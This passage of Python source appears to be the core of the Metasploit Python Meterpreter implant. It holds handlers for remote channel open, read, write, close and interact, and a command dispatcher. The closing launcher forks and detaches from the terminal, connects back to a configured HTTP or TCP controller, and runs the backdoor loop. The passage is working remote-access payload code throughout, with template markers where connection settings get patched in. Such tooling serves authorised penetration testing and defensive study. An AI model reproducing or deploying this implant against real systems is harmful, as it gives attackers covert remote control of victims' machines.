self.transport.retry_wait = retry_value
|
|
|
|
if self.session_expiry_time > 0:
|
|
response += tlv_pack(TLV_TYPE_TRANS_SESSION_EXP, self.session_expiry_end - time.time())
|
|
response += self.transport.tlv_pack_timeouts()
|
|
return ERROR_SUCCESS, response
|
|
|
|
def _core_transport_sleep(self, request, response):
|
|
seconds = packet_get_tlv(request, TLV_TYPE_TRANS_COMM_TIMEOUT)['value']
|
|
self.send_packet(response + tlv_pack(TLV_TYPE_RESULT, ERROR_SUCCESS))
|
|
if seconds:
|
|
self._transport_sleep = seconds
|
|
return ERROR_SUCCESS, response
|
|
|
|
def _core_channel_open(self, request, response):
|
|
channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE)
|
|
handler = 'channel_open_' + channel_type['value']
|
|
if handler not in self.extension_functions:
|
|
debug_print('[-] core_channel_open missing handler: ' + handler)
|
|
return error_result(NotImplementedError), response
|
|
debug_print('[*] core_channel_open dispatching to handler: ' + handler)
|
|
handler = self.extension_functions[handler]
|
|
return handler(request, response)
|
|
|
|
def _core_channel_close(self, request, response):
|
|
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
|
if channel_id not in self.channels:
|
|
return ERROR_FAILURE, response
|
|
channel = self.channels[channel_id]
|
|
status, response = channel.core_close(request, response)
|
|
if status == ERROR_SUCCESS:
|
|
del self.channels[channel_id]
|
|
if channel_id in self.interact_channels:
|
|
self.interact_channels.remove(channel_id)
|
|
debug_print('[*] closed and removed channel id: ' + str(channel_id))
|
|
return status, response
|
|
|
|
def _core_channel_eof(self, request, response):
|
|
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
|
if channel_id not in self.channels:
|
|
return ERROR_FAILURE, response
|
|
channel = self.channels[channel_id]
|
|
status, response = channel.core_eof(request, response)
|
|
return ERROR_SUCCESS, response
|
|
|
|
|
|
def _core_channel_interact(self, request, response):
|
|
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
|
if channel_id not in self.channels:
|
|
return ERROR_FAILURE, response
|
|
channel = self.channels[channel_id]
|
|
toggle = packet_get_tlv(request, TLV_TYPE_BOOL)['value']
|
|
if toggle:
|
|
if channel_id in self.interact_channels:
|
|
self.interact_channels.remove(channel_id)
|
|
else:
|
|
self.interact_channels.append(channel_id)
|
|
elif channel_id in self.interact_channels:
|
|
self.interact_channels.remove(channel_id)
|
|
return ERROR_SUCCESS, response
|
|
|
|
def _core_channel_read(self, request, response):
|
|
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
|
if channel_id not in self.channels:
|
|
return ERROR_FAILURE, response
|
|
channel = self.channels[channel_id]
|
|
status, response = channel.core_read(request, response)
|
|
if not channel.is_alive():
|
|
self.handle_dead_resource_channel(channel_id)
|
|
return status, response
|
|
|
|
def _core_channel_write(self, request, response):
|
|
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
|
if channel_id not in self.channels:
|
|
return ERROR_FAILURE, response
|
|
channel = self.channels[channel_id]
|
|
status = ERROR_FAILURE
|
|
if channel.is_alive():
|
|
status, response = channel.core_write(request, response)
|
|
# evaluate channel.is_alive() twice because it could have changed
|
|
if not channel.is_alive():
|
|
self.handle_dead_resource_channel(channel_id)
|
|
return status, response
|
|
|
|
def create_response(self, request):
|
|
response = struct.pack('>I', PACKET_TYPE_RESPONSE)
|
|
commd_id_tlv = packet_get_tlv(request, TLV_TYPE_COMMAND_ID)
|
|
response += tlv_pack(commd_id_tlv)
|
|
response += tlv_pack(TLV_TYPE_UUID, binascii.a2b_hex(bytes(PAYLOAD_UUID, 'UTF-8')))
|
|
|
|
handler_name = cmd_id_to_string(commd_id_tlv['value'])
|
|
if handler_name in self.extension_functions:
|
|
handler = self.extension_functions[handler_name]
|
|
try:
|
|
debug_print('[*] running method ' + handler_name)
|
|
result = handler(request, response)
|
|
if result is None:
|
|
debug_print("[-] Not a good result!")
|
|
return
|
|
result, response = result
|
|
except Exception:
|
|
debug_traceback('[-] method ' + handler_name + ' resulted in an error')
|
|
result = error_result()
|
|
else:
|
|
if result != ERROR_SUCCESS:
|
|
debug_print('[-] method ' + handler_name + ' resulted in error: #' + str(result))
|
|
else:
|
|
debug_print('[-] method ' + handler_name + ' was requested but does not exist')
|
|
result = error_result(NotImplementedError)
|
|
|
|
reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID)
|
|
if not reqid_tlv:
|
|
debug_print("[-] No request ID found")
|
|
return
|
|
response += tlv_pack(reqid_tlv)
|
|
debug_print("[*] Sending respond packet")
|
|
return response + tlv_pack(TLV_TYPE_RESULT, result)
|
|
|
|
# PATCH-SETUP-ENCRYPTION #
|
|
|
|
_try_to_fork = TRY_TO_FORK and hasattr(os, 'fork')
|
|
if not _try_to_fork or (_try_to_fork and os.fork() == 0):
|
|
if hasattr(os, 'setsid'):
|
|
try:
|
|
os.setsid()
|
|
except OSError:
|
|
pass
|
|
|
|
if HTTP_CONNECTION_URL and has_urllib:
|
|
transport = HttpTransport(HTTP_CONNECTION_URL, proxy=HTTP_PROXY, user_agent=HTTP_USER_AGENT,
|
|
http_host=HTTP_HOST, http_referer=HTTP_REFERER, http_cookie=HTTP_COOKIE)
|
|
else:
|
|
# PATCH-SETUP-STAGELESS-TCP-SOCKET #
|
|
transport = TcpTransport.from_socket(s)
|
|
met = PythonMeterpreter(transport)
|
|
# PATCH-SETUP-TRANSPORTS #
|
|
met.run()
|